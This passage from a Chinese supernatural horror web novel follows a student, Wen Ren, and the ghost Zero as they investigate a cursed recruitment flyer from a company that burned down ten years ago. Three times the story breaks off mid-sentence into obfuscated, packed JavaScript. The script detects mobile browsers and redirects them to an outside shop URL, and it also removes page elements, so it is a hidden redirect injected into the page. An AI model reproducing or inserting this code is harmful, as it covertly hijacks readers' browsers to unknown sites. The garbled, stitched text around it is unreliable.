“这次的消息，可是我一手获得的，”他指了指自己，一脸骄傲，“我敢确定这次的消息，绝对准确，而且它在我们这个圈子里，已经传开了。” 他按了一下平板，幕布上的画面切换了。 “之所以叫‘求职怪谈’这个名字，是因为它跟求职招聘有关系。” 屏幕上出现了一张图片，那是一张传单，皱巴巴的，像是被人揉过又展平的。 上面的字有些模糊，但能看出是招聘广告。 “我之所以称它为怪谈，是因为进去的求职者……都没有出来过。” “而且，这些求职者并不是主动去面试的，他们大多都是收到了一封莫名其妙的求职邀请，先是收到了电话，之后就会被一张诡异传单缠上。” “无论他们怎么扔掉那份传单，都永远会在身后找到它，就好像那个传单是活的一样，永远跟在他们身后……” 叶令美咽了一口口水，悄悄往身后看了一眼，还好，什么都没有。 顾景骁继续说道：“而且，没去面试的人，都莫名其妙地暴毙了。” 包间里的空气好像凉了一点。 “去了的人呢？”温刃问。 “失踪，”顾景骁的语气很肯定，“活不见人，死不见尸，就连监控都找不到他们的踪迹。” 他翻了下一页，屏幕上出现了一栋建筑的旧照片，黑乎乎的，看起来很普通。 “经过调查之后，有人查到了这家公司，但是……” “这家公司早在十年前就遭受了一场大火，彻底被烧毁了，公司的旧址早就没了，什么都不剩。” 叶令美皱了皱眉：“一个烧毁的公司，居然在招人？” “对，”顾景骁点头，“一个名不见经传的小公司，十年前就没了，但它现在，居然在给别人发面试邀请。” “而且更诡异的是，收到邀请的人，都是在公共场所接到的。” 他翻了下一页，屏幕上是一段监控录像的截图。 画面里是一个商场，人来人往。 “有个人在商场里逛街，突然接到一个电话，让他赶紧去拿传单，他挂了电话，一回头……” 他按了一下播放键。 截图变成了一段短视频。 画面里的人转过身，后背的衣服上，不知道什么时候贴上了一张传单。 就像是凭空出现的。 顾景骁说出来都有些害怕：“监控拍到，传单就是凭空出现的，前后两帧，什么都没有，下一秒就有了，可是那个人当时周围并没有其他人出现。” “而且，这张传单无论怎么丢掉，都会回到他的后背上。” “哪怕扔进垃圾桶，也会重新贴在他的后背，哪怕撕碎了，第二天又完好无损地出现在他的睡衣里。” “烧掉的话，灰烬会重新聚在一起，变回传单。” 叶令美的脸色已经有点发白了：“什么，这已经属于超自然力量了。” “对，这些人就像是被人盯上了一样，不来面试，就会死，来了，就失踪。” “还有鬼来电，”顾景骁补充，“有人接到电话，来电显示是自己的手机号，接通之后，说话的人也是自己的声音。” 他说完，靠在椅背上，一脸“怎么样，厉害吧”的表情。 但其实桌子腿下面，他的腿已经吓得发抖了。 Zero飘到温刃耳边，小声说：“哎呀，你们这个世界也有这种奇怪的事情发生啊？” 温刃没有回答，只是微微侧了一下头，示意她别出声。 “哎呀，你说这些话呀，”叶令美不信，“虽然说听起来是挺吓人的，可是你之前每次说的那些都是假的呀。” 她掰着手指头数：“你之前说什么学校厕所的最后一个隔间，半夜去会关上的，里面有个女人。” “结果呢？我们去了，那根本是保洁用来堆放杂物的，什么都没有好吧？” 顾景骁一下子炸毛了：“我跟你说，这次绝对跟上次不一样，这次是真的有人失踪了！” 他拿起平板，用力戳了几下，投影幕布上出现了一页名单。 “这些是我拜托私家侦探调查的，”他的声音难得认真起来，“全都是真实考证的失踪名单，我敢发誓。” “如果我说谎，我这次期末考试全挂科。” 他又戳了一下平板，屏幕上开始播放一段监控录像。 录像时间戳显示是凌晨，一个男人走在空荡荡的街道上，突然停下来，他的后背突然出现了一张传单。 那传单像是自己从他后背里长出来的，一点一点地往外冒。 男人低头看了一眼，直接吓得往反方向跑。 画面到此为止。 “难道这一切都是真的吗？”叶令美声音比刚才小了很多。 顾景骁把平板放下，表情严肃起来：“这家公司叫什么来着……” 他在平板上翻了翻：“叫‘新辰科技’，很普通的名字，对吧？” 温刃似乎意识到了什么。 “烬寻是不是找实习去了？”她问。 顾景骁愣了一下：“对啊，他去找实习了，好像叫什么……” 他皱起眉头，努力回忆。 顾景骁低头看了一眼平板上的名字，又看了一眼，然后又看了一眼。 “新辰科技……”他瞪大眼睛，眼中满是惊恐，“他去的公司，好像就叫这个名字。” 房间里一阵安静：“……” “等等，”顾景骁意识到了什么，站起来怪叫一声，“那他不是卷进怪谈里了吗！” 他双手捂着脑袋，乱抓头发：“完了完了完了，我们少了一个坦，一个坦已经沦陷了呀！” 温刃没理他的鬼叫，直接拿起手机：“你联系得上他吗？先打电话。” “对对对，打电话。”顾景骁手忙脚乱地去掏手机。 但温刃已经拨出去了。 她把手机举到耳边。 “嘟……嘟……嘟……” 电话响了没多久之后，就被接通了。 “喂？”温刃对着话筒说。 可电话那头没有任何声音。 只有“沙沙”的声音，像是有某种蛇形动物爬在地上，发出来的声音一样。 温刃只觉得耳朵很难受，她把手机拿远了一点，但那个声音还在，贴着她的耳廓往里钻。 她等了一阵，等那声音小了很多，这才问道：“烬寻？” 对面还是没有任何回应。 只有那个声音，某种诡异的“沙沙”声。 她把手机拿下来，看了一眼屏幕，通话计时在走，对方确实接了。 烬寻明明接了，但一句话都不说。 “没有人说话。”她对顾景骁说。 顾景骁凑过来：“对啊，就是没有人说话，哎，不过好奇怪啊，他一般按理说电话接通，从来不会不说话的。” “寻弟虽然说有点高冷，但也不至于高冷到这个地步吧？” 温刃的脸色变了。 她旁边，叶令美的表情也变了。 叶令美的眼睛直直地盯着温刃，瞳孔微微收缩，嘴唇张开了一点，像是看到了什么不可思议的东西。 最后她的目光从温刃脸上移到了顾景骁脸上，又移回来，反复了两次，像是在确认自己没有看错。 温刃的手指按在了挂断键上，急忙挂断电话，头皮发麻。 “你怎么挂断电话了？”顾景骁还在状况外，“咱是不是得再问问他的情况，万一他不能说话呢？” “刚才你是不是听到了温温说话？”叶令美打断了他。 顾景骁点点头：“对啊，她说没人说话呀。” 叶令美皱起眉头：“可我看温温……根本没开口啊。” “……” 顾景骁的脸以肉眼可见的速度变白：“不是，真、真有诡啊？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493141|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他一个箭步窜到温刃身后，双手抓着她的肩膀，整个人缩在她背后。 “救救我，温姐，姐，咱们是不是进入这个怪谈里了！” 叶令美也没好到哪去，一把抱住温刃的胳膊，整个人贴上来，快钻进温刃翅根里面了。 温刃被两个人一左一右夹在中间，差点喘不过气来。 “不一定。”毕竟见过高塔世界的怪异，她声音还算冷静。 Zero飘到她面前，弯下腰，凑近了看她的表情。 “看来这个情况很不对劲呀，”Zero说，“刚才你确实没有说话，可是那个电话里却传来了你自己的声音。” 她歪了歪头。 “如果是我，我可能都会被骗到，你们这个世界也会有那种丧诡出现吗？” 温刃没有回答，但她的表情却越来越凝重。 她先开口，稳定身旁两人的情绪：“冷静，这个世界上是没有鬼的。” 她不相信这个世界上有诡，可如果……有丧诡呢？ 这个世界上也有吗？ “这个世界上是没有诡的。”她又说了一遍。 这句话是说给顾景骁和叶令美听的，也是说给Zero听的。 就在这时候，手机又响了。 温刃以为是烬寻打过来了，她二话没说，按下了接听键。 这一次，她没有说话。 电话那头沉默了一阵，然后，一个声音响了起来。 是她的声音。 和她一模一样的声音，就连语气和音调都一模一样。 “温刃女士，新辰科技欢迎你来面试。” “这一次，你通过了我们的层层筛选，简历已经审核完毕，你可以来我们公司面试了。” “面试时间在三十分钟后。” “面试地点……” 那个声音忽然停顿了一下，发出诡异的尖笑，一字一句说道：“你，已，经，知，道，了。” 电话里的声音开始变了，还是温刃的音色，但语调越来越奇怪，像是有人在模仿她说话，但模仿得越来越不像。 “欢迎来新辰科技面试，祝您拥有美好的……一……天……” 最后一个字被拉得很长，然后扭曲了，变成一种刮黑板的声音。 电话自动挂断了，屏幕回到了通话记录界面。 包间一片安静。 顾景骁怪叫一声，抖得厉害：“我、我、我再也不敢搞怪谈了，我虽然很喜欢这个东西，但是真的要发生在我身上，我还是很害怕啊！” 他整个人缩在温刃身后，一米八几的个子恨不得把自己团成一个球。 叶令美也好不到哪去，整个人缩到温刃肩膀上，抱住温刃的腰，变成挂件：“确实啊，那怎么办呀，咱们要不要去救烬寻？还是说咱们要报警呢？” 温刃没有说话，她脑子里在想别的事情。 求职怪谈，面试。 为什么这里跟高塔世界刚发生过的那个事情有点像呢？ 难道这里……也会有丧诡出现吗？ Zero这时开口：“小刃，你有没有注意到一点？” 温刃微微偏了一下头。 Zero指了指她手里的手机：“给你打电话的人……究竟是谁呢？” 温刃低头看向屏幕。 通话记录里，刚才那通电话的号码还挂在最上面。 她看了一眼。 那是一串手机号码。 来电：136…… 时长：00:47 状态：已接听 她的手机号也是136开头的。 这很正常，同一运营商的号段而已。 然后她看了第四位。 是9。 她的第四位也是9。 可是……后面的数字都跟她手机号一样。 那分明是她自己的手机号码！ 就像是另一个自己，拿着她自己的手机，给她自己打了一个电话…… 15. 求职怪谈2 顾景骁还扒在温刃背后，整个人恨不得把自己挂在她身上。 然后他的眼睛突然瞪大了。 他吓得后退两步，手指着温刃的后背：“传单长出来了！” 叶令美也看到了。 温刃感觉到后背有什么东西顶着她衣服里慢慢长出来，一点一点地往外渗，又像是花瓣一样，向周围散开。 那种感觉很奇怪，就像是有人用一只手，在后背抓挠，非常渗人。 叶令美咽了一口口水：“温温，太吓人了，我帮帮你撕下来看看吧，这东西真的是凭空出现的，顾景骁居然没说谎……” “别动，”温刃制止了叶令美的动作，“你也想染上诅咒吗？” 叶令美吓了一跳，也不知道该不该收回手：“可是，你已经染上了……” 多她一个也没关系吧？ 叶令美知道，温刃那是在关心她，于是越来越感动：“温温你真好。” 温刃自己伸手到背后，把那个东西一把扯了下来。 【急聘：急招！高薪诚聘，五险一金，带薪年假，月薪三万+】 月薪三万？ 这是不是有点假了，现在月薪基本上都是三千。 温刃低头看着那张纸，把它彻底展开。 【新辰科技，成立于2011年，专注智能发展，团队100+，已获A轮融资，办公环境舒适，晋升透明】 【热招岗位：前端开发工程师】 【职责：负责Web/小程序开发；要求：1年+Vue经验，本科，沟通好】 最下面有一行小字，红色的，像是用血写上去的一样。 【面试倒计时仅剩29分钟】 “是因为我主动给烬寻打了电话，”温刃说，“所以，这个诅咒可能是挨个传染的，你们最好不要主动接触，也不要随便打电话。” 温刃想到什么，给父母发去了微信。 她现在住在学校旁边，平常不怎么回去，就怕爸妈突然给她打电话也染上诅咒。 温刃做完这一切后，这才看向顾景骁：“你不是调查过那些失踪的人吗，他们彼此之间有没有什么联系，比如打过电话之类的？” 顾景骁愣了一下，手忙脚乱地抓起平板，翻了好一会儿，表情一点点变得凝重。 “有，”他说话有点心虚，“他们有人彼此之间是同事关系，也有朋友关系，出事前有他们的通话记录。” 叶令美转头看向顾景骁：“你怎么不早点把这个事情说出来，要是不给烬寻打电话的话，就不会染上这件事。” “而且，咱们还能想办法联系别人把烬寻救出来。” 毕竟烬寻也被卷入了这件事。 顾景骁支支吾吾的：“其实我是害怕，这资料我不敢一个人看，就专门拿过来，说大家一起看，我就有胆子了。” 温刃：…… 叶令美：…… Zero飘在旁边，默默地看了顾景骁一眼，又默默地飘开了。 她也被会长的胆子无语到了。 温刃没有继续追究，低头重新看向手里的传单。 Zero凑过来，歪着头看了一眼上面的字：“话说，小刃，这公司跟你专业对口呀，你不是在学什么web来着，还有派森什么的。” 是Python，她说不清楚。 叶令美也凑过来，脑袋挤在温刃肩膀旁边：“温温，这跟你专业对口呀。” 顾景骁也从后面探出头来：“对呀对呀，我记得你就是学计算机的。” 温刃：好吧是挺巧合的。 新辰科技这一招可真阴。 “这个招聘广告感觉是十年前的，”温刃说，“现在都2025年了，AI技术发展这么迅速，前端都快被淘汰了，这广告一看就是假的。” 顾景骁眨了眨眼：“居然是这样吗？我前段时间也刷到新闻了，据说前端裁员了不少人。” 叶令美没有接这个话茬。 她的表情变得担忧起来，看着温刃：“温温，你现在已经染上这个诅咒了，真的要去吗？” “要不我现在就报警吧？我觉得找执法官过来，应该能解决这件事。” “不行。”顾景骁突然开口，他低头看着平板，翻到了某一页，脸色很难看。 “我还有一页没跟你们说……等等啊，我看了一眼，曾经有几位执法官过来调查，结果也了无音讯了，这里已经被封了。” “……” “你就不能早点说吗？”叶令美这次真无语了。 “我都说了我之前不敢看啊，”顾景骁缩了缩脖子，“但是我现在会想办法解决的，我钱多，我会给你们找点道士请过来，既然是有鬼，咱们就解决这个事！” “而且，我给你们发点精神损失费。” “支付宝到账，叁万元。” 叶令美：“你咋知道我俩支付宝号的？” 顾景骁：“实力。” 温刃抬起手，打断了他。 “不了，”她说，“这事我自己来解决。” 顾景骁和叶令美同时愣住了。 “你怎么能解决呀？”叶令美急了。 温刃早就想好了说辞：“我忘了跟你们说了，前段时间我跟着去山上拜师学艺，学了点儿法术，能对付他们。” 她随便掐了个手势，手指翻了两下，看起来还挺像那么回事。 顾景骁差点跪下：“哇，姐，你看来真有本事啊！” “教教我吧！教教我吧！万一我以后也遇上了……” “等我先去解决这件事情，”温刃摆摆手，“面试时间只剩二十多分钟了，你们就别参与了。” “会长，你把所有资料发我手机上，一个不漏。” 顾景骁疯狂点头：“交给我吧。” 温刃看了一眼叶令美，又看了一眼顾景骁，语气很认真：“等我回来再说。” 她没有多解释，推门走出了包间。 身后传来顾景骁的声音：“姐，那你小心啊！” 温刃快步穿过走廊，她低头看了一眼手里的传单，上面的红色倒计时居然改变了。 【面试倒计时仅剩27分钟】 温刃把传单揉成一团，甚至撕碎，直接扔进了路边的垃圾桶里。 她倒要看看这东西怎么再次回到她身上。 “不过，既然这次事情不简单，我得看看异能是否带到了这个世界。” 如果没有异能，温刃还真没把握能解决这件事。 然后她直接进了洗手间，还好这里一个人都没有。 洗手台上摆着一盆花，隐隐散发香气。 温刃站在洗手台前，盯着那朵花。 她抬起手，手指对准其中一片花瓣。 像在高塔世界那样，她集中注意力，去侵蚀这朵花， 很快，花瓣的边缘开始变得模糊，像是被什么东西一点一点地擦掉。 没过多久，整朵花就在她面前消失了。 温刃松了一口气：“很好，这下过去就有底气了。” 这个能力果然跟着她来到了现实世界，就跟医生身上的碎片一样。 或许，只要被划分为她身上一部分的东西，都能被带到这里。 下次穿越的时候可以试试。 “必须趁着六点前解决这件事。”温刃知道，一旦到了六点，她可能会被强制穿越，到时候失去意识，Zero也不能在旁边帮上忙。 而那个时候，她就是待宰羔羊。 就在这时。 温刃忽然想起了什么，转头看向Zero。 Zero不知道什么时候已经捂住了脑袋，身体微微弓着，脸上露出一种痛苦的表情。 她像是在努力回忆什么。 过了好一会儿，她才慢慢抬起头，满脸震惊：“这不是……这不是我的能力吗？” 温刃看着她，点了点头：“我好像莫名其妙获得了你的能力，这让我在哪个世界活了下来，我才能重新见到你。” “但是，Zero，你也知道，使用能力会降低幸福值。” 在现实世界她没有幸福手环，也就无法显示幸福值。 而她也不知道刚才那一下消耗了多少幸福值。 温刃继续说道：“我现在在这个世界并没有幸福手环，我不知道我什么时候能力会归零。” “Zero，如果我过度使用能力，幸福值变成负数，我会不会直接变成丧诡？” Zero沉默了一会儿，举起自己的右手，似乎已经缓过来了。 温刃注意到，Zero手上居然也有一把幸福手环！ 也是，Zero保持着死亡时候的状态，而她的幸福手环也会出现在身上。 毕竟，Zero是纯正的高塔人。 “你说，”Zero的声音有些不确定，“我的幸福手环跟你之间是不是有联系呢？” 温刃凑过去看了一眼，Zero手上的手环显示幸福值是34. 温刃记得很清楚，之前在高塔世界，她的幸福值降到了零。 秦朗川给她注射药剂之后，数值就恢复到了三十。 怎么现在变成了三十四？ 等等。 见到顾景骁和叶令美的时候，她好像感觉到了放松，还有一股暖洋洋的感觉。 所以，那是幸福？ 她感受到了幸福，所以幸福值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493142|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从三十涨到了三十五。 然后，她刚才使用能力侵蚀了那朵花，消耗了一点，所以现在变成了三十四。 这下一切就能解释了。 Zero手环上的数值，就是她的幸福值。 Zero看着温刃的表情变化，似乎也意识到了什么。 她的嘴角弯起来，露出一个浅浅的笑：“小刃，看来我手上的数值就是你的幸福值，咱们两个陷入了某种绑定关系。” “你能用我的异能，而我能体现出你的幸福值。” 温刃看着她，忽然也笑了：“看来我们能解决这件事了。” 说实话，在不知道自己的能力能带到现实世界之前，听到会长描述的那些怪谈细节，她心里是有些发怵的。 但是现在？ 她会异能。 那她去那个面试地点，就没什么好怕的了。 Zero看着镜子里的温刃，忽然说了一句：“小刃，你的后背上好像多了点东西呢。” 温刃意识到了什么，微微皱眉，伸手往后背一摸。 那里多了一张纸。 她把它扯下来，低头一看。 她刚才揉成团扔进垃圾桶的那张传单，此刻完好无损地出现在她手里，连一道折痕都没有。 纸张的颜色甚至比之前更新了，像是刚打印出来的。 它又出现了。 就像是盯着她，一直跟在她身后贴着她一样。 最下面的红字又改变了。 【面试倒计时仅剩24分钟，请尽快赶到面试地点】 这一次，下面多了一行字。 【不来面试的话，你猜会怎样？】 温刃盯着那行字，头皮一阵发麻。 她明明站在洗手间里，四周没有任何人，垃圾桶在走廊尽头，也不在这附近，而她一直没离开过这面镜子，确认身后跟洗手间里都没有人。 这张传单又是怎么回到她背上的？ 她甚至开始怀疑，是不是只要她身上还流着血，还喘着气，这东西就会一直追着她，像影子一样，甩不掉。 “Zero，”她问，“你说有某种丧诡拥有这种能力吗？” Zero想了想，表情变得认真起来：“丧诡的能力是多种多样的，实力比较强大的丧诡，有的甚至能影响空间，有的能影响因果。” “但是人类的异能者其实也有部分拥有这种能力。” “准确来说，丧诡只是没有人类形态的异能者罢了。” 温刃明白了：“所以，这有可能就是丧诡的某种能力，它让传单跟着我，一旦倒计时结束，我就有可能死亡。” Zero点了点头：“看来这个家伙能力不弱啊。” 温刃把传单叠起来塞进口袋里。 “走吧，Zero。” “我们去那里看看。” “看看这一切到底是怎么回事。” 她转身走出了洗手间。 Zero飘在她身后，表情若有所思。 * 饭店包间里。 顾景骁坐在沙发上，双手抱着脑袋，满脸茫然。 “那咱俩怎么办呀？”他看着叶令美，一脸无助。 叶令美已经站了起来，正在往身上套外套：“肯定要过去帮忙啊，你刚才没看到温温的手势吗？” 顾景骁回忆了一下：“那不就是什么驱鬼抓魔的伏魔手势吗？我还想学呢。” 叶令美翻了个白眼：“那根本是动漫里的手势好吧。” 顾景骁：…… 怪不得他觉得有点不对劲。 叶令美已经走到门口了，回头看了他一眼：“咱们也快点赶到那边，既然连执法官都管不了这边的事情，那我觉得咱两个普通人可能也无法做到什么影响。” “你找点大师吧，咱们就守在门口看一下状况，如果温温一小时后没有出来，咱们就想办法闯进去。” 顾景骁挠了挠头：“那咱们为什么不一早就跟着进去呢？” 叶令美用一种看智障的眼神看着他：“你傻啊？咱俩是普通人，进去不就送死吗？而且温温都说了自己去了，那说明她对这件事情肯定是有把握的呀，咱俩去不就是影响她、拖她后腿吗？” 顾景骁悟了：“有道理！” 他掏出手机，翻了好一会儿通讯录，找到了一个备注为“张大师”的号码。 他站起来，一边拨号一边往外走：“我这就联系大师。” “喂？张大师吗？对对对，是我！我这边遇到点事儿，需要您帮忙，对，就是那种事儿，您有空吗？好好好，我等您！” 叶令美跟在他后面，两个人一前一后走出了包间。 16. 求职怪谈3 新辰科技。 出租车在一片荒废的厂区前停了下来。 温刃透过车窗往外看，这里很偏僻，周围都是些低矮的旧房子，像是曾经的小村子。 厂区的铁门锈迹斑斑，半开着，里面能看到几栋灰扑扑的楼房。 墙面上有大片大片漆黑的灼烧痕迹，从窗户蔓延到屋顶，把整面墙都烧成了焦炭的颜色。 司机是个中年女人，从后视镜里看了一眼后座上的小姑娘。 她本来没觉得有什么，但车停下来之后，她莫名觉得后背有点发凉。 这地方她白天都不想多待，更别说拉人过来了。 要不是顾客给的钱多，她早就跑了。 犹豫良久，司机还是问道：“小姑娘啊，你怎么来到这里了？” 温刃看向她：“这地方怎么了吗？” 司机沉默一阵，看着小姑娘也像是个不知道的主，她还是解释了一下：“姑娘，这个地方是有问题的，我常年在这片跑，对这里是有些了解的。” “你看那地方，都烧成啥样子了。”她指了指窗外那栋焦黑的楼房。 “这里曾经是有个公司的，但是呢，我们也不知道他们是制作了什么的，好像是受到了报应。” “十年前，整个公司被一场大火给烧了，说是在场的二百多个员工吧，一个都没救出来，全都活活烧死在里面了，火势太大了，根本进不去人。” “这片地方自那以后就被封了，再也没有人能进来，已经算是个禁地了。” 她回过头，认真地看着温刃。 “我之前还载过一个小伙子呢，是搞什么直播的，他就是要过来这里，说要直播什么这里的事情，结果……” “他进来之后就失踪了，再也联系不上了，我还帮他报了执法官，可最后，就连执法官都没回来，我被拉去做了笔录，半天没出来，还以为自己犯事了。” 她叹了口气。 “反正很可怕的，这地方吃人，小姑娘，我劝你早点离开，我看你挺年轻的，还有未来很好的大年华，可不要浪费在这里了。” “姑娘，你跟我女儿年纪差不多大，可不要为了探险，而蔑视生命。”说道这里，司机似乎想到了什么，陷入惆怅。 似乎，她的女儿给她带来了无尽伤感。 温刃从口袋里掏出车费，多付了一些，递过去：“谢谢你，不过我过来这里，是来找个朋友的。” 司机张了张嘴，想说什么，但温刃已经推开车门了。 Zero从另一侧飘下车，笑着看向温刃：“看来就连这里的司机都知道有问题了，小刃，万一遇到无法解决的困难怎么办？你确定要进去吗？” 温刃随口回了一句：“我知道，但我总得试试，不是吗？” “不过看样子，这场怪事是从十年前发生的吗？”Zero歪了歪头。 “我也不知道，但总不能说十年前就有丧诡吧？”温刃不敢去想那个结果。 Zero看向了远处：“不过，小刃，远处好像有一位执法官呢，就在你身后五十米处的一处废弃车子里。” * 司机看着温刃，却只觉得毛骨悚然。 那个女孩语气很自然，像是在跟一个坐在那里的人聊天。 她的目光会随着那个人的动作移动，甚至会等那个人说完话再回应。 她到底在跟谁说话？ 她看向温刃的身边，那里分明一个人都没有，可那个女孩却对着空气在说话，像是她旁边有一个人在和她交流一样。 她说，来找个朋友…… 司机只觉得头皮发麻。 这地方人都死光了，她过来找什么朋友，找死人朋友吗？ 她急忙踩下油门，车子轰的一声窜了出去，后视镜里，那个女孩的身影越来越小，越来越远，最后变成一个模糊的点。 司机的后背已经被冷汗浸透了，她这才松了一口气。 以后再有人过来这里，给多少钱她都不拉了。 她再也不会为了钱而屈服。 * 不远处，一辆不起眼的破车里。 这辆车早就报废了，车窗上贴着深色的膜，从外面看不清里面的情况。 车身锈迹斑斑，轮胎也瘪了，看起来像是被遗弃在这里很久了。 但仔细看的话，能发现副驾驶的位置被收拾得很干净，座椅上铺着一条叠得整整齐齐的毯子，旁边放着几瓶水和一些压缩饼干。 这里是一个据点。 车里坐着一个人。 她一头干练短发，刚好齐耳，眼睛一直盯着厂区门口的方向。 她穿着一件深色的夹克，里面是黑色的高领衫，领口立起来，遮住了半截脖子。 她叫季舒言，也是一名执法官，自从之前出事之后，在这里蹲守了整整七天。 她白天盯着那扇门，晚上也盯着那扇门，困了就靠在座椅上眯一会儿，饿了就啃两块饼干。 可奇怪的是，自从这里封了之后，没有人进去，也没有人出来。 整个地方就像是彻底与世隔绝了一般。 可季舒言知道这地方不简单，她来这里之前是看过所有档案的。 因为这个诡异的地方，失踪的人太多了，从最开始的普通平民，到最后就连执法官都陷入其中，失去了联系。 要知道，他们执法官跟普通人最大的区别就是手上拥有武器，可这样的执法官都栽在里边…… 只能说明这地方拥有一个很大的犯罪窝点，就连两个执法官过去都了无音讯。 但比起这个，这起案件中有一个最诡异的点。 每一个失踪或者死亡的人，他们都收到了一份来自新辰科技的招聘传单，而且诡异的是，这份传单的出现是贴在受害者的背后的。 而且，还是凭空出现的。 季舒言一直觉得自己是一个唯物主义者。 可偏偏这件事，从里到外都透露着不对劲。 那些没去面试的人，在面试间到来时，都死在了自己的家里，没有人能幸免。 他们死状极其诡异。 因为，他们都吃掉了自己的脚，然后被脚噎死在了自己的喉咙里。 法医报告上写着窒息死亡，但没人能解释一个人是怎么用那种扭曲的姿势，把自己的脚塞进嘴里的。 季舒言看过现场照片，至今忘不了那个诡异角度，她闭上眼又睁开，把干呕压了回去。 而且他们死之前监控都拍到过，每一个死者的周围都是没有第二者存在的。 就连被保护的人，在某个时间段到来，他们的意识会变得疯狂，活活以扭曲的姿势吃掉自己。 也就是说，这些人全是自己杀死了自己。 而那些去了面试的人，在进入新辰科技这个荒废的区域后就失踪了。 活不见人，死不见尸。 就像是凭空消失一样。 可季舒言在这里蹲守了七天，发现了一个很恐怖的点。 那就是早在十年前这里被烧毁之后，大部分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那女孩站在厂区门口，对着空气说了几句话，但她身边分明什么都没有。 季舒言意识到了什么，皱起眉头：“等等，她果然是在跟里面的人联系，果然，这次我找到了线索。” 可下一秒，那女孩在踏入大门后，身影居然凭空消失了。 季舒言揉了揉眼睛，拿起执法仪去看回放，看了好几眼，发现温刃就是凭空消失的。 就好像…… 进入了另一个空间一样。 她到底是怎么做到的？ 季舒言冲过去，却发现刚才还能推开的门，这时候一点也打不开了。 刚才那女孩明明随手就推开了。 她又推了一下，铁门像焊死了一样，连一点晃动都没有。 季舒言低头看见,执法仪的屏幕还亮着,回放的画面定格在女孩消失前的最后一帧。 但她注意到一件之前没看见的事。 那帧画面里，女孩的嘴角是微微上扬的。 她在笑。 对着空无一人的门口在笑。 季舒言缓缓抬起头，看着面前那扇推不开的门。 她不由一阵怀疑。 难道……这个世界真有那种东西存在？ 17. 求职怪谈4 不久前。 温刃站在厂区门口，向里面看去。 门卫室就在旁边，窗户碎了，里面黑漆漆的，什么都看不清。 铁栏杆上全是锈迹，有些地方已经断掉了，歪歪扭扭地立在那里。 围墙很高，上面爬满了枯死的藤蔓，一碰就碎成灰。 地面是焦黑的，裂开了一道一道的口子。 有些杂草从裂缝里长出来，大部分都已经枯黄了，东倒西歪地趴在地上。 有些地方甚至连草都长不出来，因为被烧过，光秃秃的一片。 Zero飘在前面，从铁门前直接穿了过去。 可进去之后，她便停下了步伐，就那样站在门里面，一动不动，像是看到了什么不可思议的东西。 “Zero？”温刃喊了一声。 Zero没有反应，就像是没有听到一样。 “Zero！”温刃又喊了一声。 Zero还是没有回答。 温刃皱眉，推开大门，迈步走了进去。 然后，她也愣住了。 面前的景象跟她刚才看到的完全不一样。 那栋原本被烧得焦黑的楼，此刻看起来就像是一栋正常办公的写字楼，外墙刷着浅灰色的涂料，窗户明亮，门口还放着两盆绿植。 一切就像是…… 就像是那场大火从来没有发生过一样。 Zero转过身来：“小刃？你什么时候进来的？” 温刃疑惑：“我刚才喊你半天，看你没有理我，我就自己进来了。” “可是，”Zero欲言又止，“可我根本没有听到你说话呀。” 温刃愣在原地：“什么？我们明明只隔了一道门，你又怎么可能听不到我说话呢？” Zero想到了一个可能，环顾了一下四周，面色逐渐凝重：“小刃，你知道吗，丧诡拥有自己独特的领域，这是他们身上的不幸力量逸散，最后形成的一片特殊区域，也是一片独立的特殊空间。” “在这片区域里，环境可能会被改变，甚至，可以按照丧诡的意志，让普通人甚至异能者进不来。” “当然，强大的异能者拥有破开丧诡领域并进去的能力，一旦实力不够，要么被困住里面出不去，要么，被隔绝在外。” 温刃点了点头，她想起了一个人：“我在高塔世界遇到过类似的事情，有一个人叫周正明，他变成丧诡之后，我们就无法打开门，也无法出去，就连一位异能者都打不开，我用你的异能侵蚀了窗户，才打开了一个通道，但是幸福值消耗很快。” Zero认真地听着，然后说：“确实啊，说明那个家伙的强度已经超标了，很难解决。” “但我的能力比较特殊，我可以侵蚀任何非生物的存在，而丧诡的领域就算在这一点里。” “只要它的领域不是活物，不管多么强大，我都能侵蚀，只是对于更强的丧诡，我需要消耗更多的幸福值。” “你要知道，丧诡的领域就是他的力量，是他不幸的力量，像是源源不断的海水一样，一直在不断扩散，所以你侵蚀了一部分，它就会补上去一部分。” “每个领域内都有一位丧诡领主，领主不死，领域不会消散。” “而且，所谓领域，就是领主力量造成的，如果领主被超度，所谓领域，包括其中的其他丧诡，也就不复存在了。” “因为其他普通的丧诡，是因为领主而存在的。” “领主拥有控制领域，和领域内其他丧诡的绝对权力，他们会肆意改变领域的环境，或者制造大量丧鬼附属。” 温刃跟着Zero，了解了不少，看来周正明就是那起事件的领主，她又问：“不过，Zero，你真的没有失忆吗？为什么记得这么多？” Zero沉默一阵：“这些都是常识，就像是吃饭喝水，我虽然忘记了我的过去，但吃饭喝水这种事总得记得吧。” 温刃正要说什么，忽然感觉到了什么。 她的脚下，多了一片阴影。 她转过头，发现进来的时候那扇门消失了。 那里只剩下一堵墙，足足有五十多米高的墙。 温刃走过去，伸手推了一下，这堵墙像是真实存在一样，可门却不见了。 